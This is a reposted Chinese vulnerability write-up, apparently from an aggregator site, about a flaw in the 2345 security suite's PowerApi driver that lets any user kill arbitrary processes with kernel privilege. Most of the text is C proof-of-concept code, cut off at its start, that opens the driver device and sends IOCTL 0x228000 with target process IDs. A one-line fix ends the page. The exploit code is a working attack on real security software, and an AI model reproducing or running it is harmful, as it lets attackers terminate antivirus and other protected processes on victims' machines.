2345安全卫士PowerApi驱动内核权限杀任意进程漏洞

FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL );if(hDevice == INVALID_HANDLE_VALUE){PrintErrCodeMessage("[CreateFileA]");goto end;}else{printf("Open Device Success!\r\n");}printf("press any key to continue!\n");getchar();GetPidsByNameLike(szNL,vPids);for(int i=0;i<>
{DWORD dwPid = vPids[i];printf("NL:%s , Pid:%u\n",szNL,vPids[i]);BOOL ret = DeviceIoControl(hDevice, 0x228000,&dwPid,sizeof(dwPid),szOutBuf,// out_buffernOutLen,// out_buffer_len = 0&nOutLen,// NULL);if(!ret) { PrintErrCodeMessage("[DeviceIoControl]");goto end;}elseprintf("DeviceIoControl Successed!\n");}end:CloseHandle(hDevice);return 0;}void Useage(){printf("使用方法，如下例子：\n");printf(" 2345terminate -pid xxx\n");printf(" 2345terminate -namelike xxx\n");}int _tmain(int argc, _TCHAR* argv[]){ if(argc!=3){Useage();return -1;}if(0==strcmp(argv[1],"-pid"))TerminateByPid(atoi(argv[2]));else if(0==strcmp(argv[1],"-namelike"))TerminateByNL(argv[2]);else{Useage();return -1;}return 0;}

 

解决方案：

做好驱动的打开校验

就爱阅读www.92to.com网友整理上传,为您提供最全的知识大全,期待您的分享，转载请注明出处。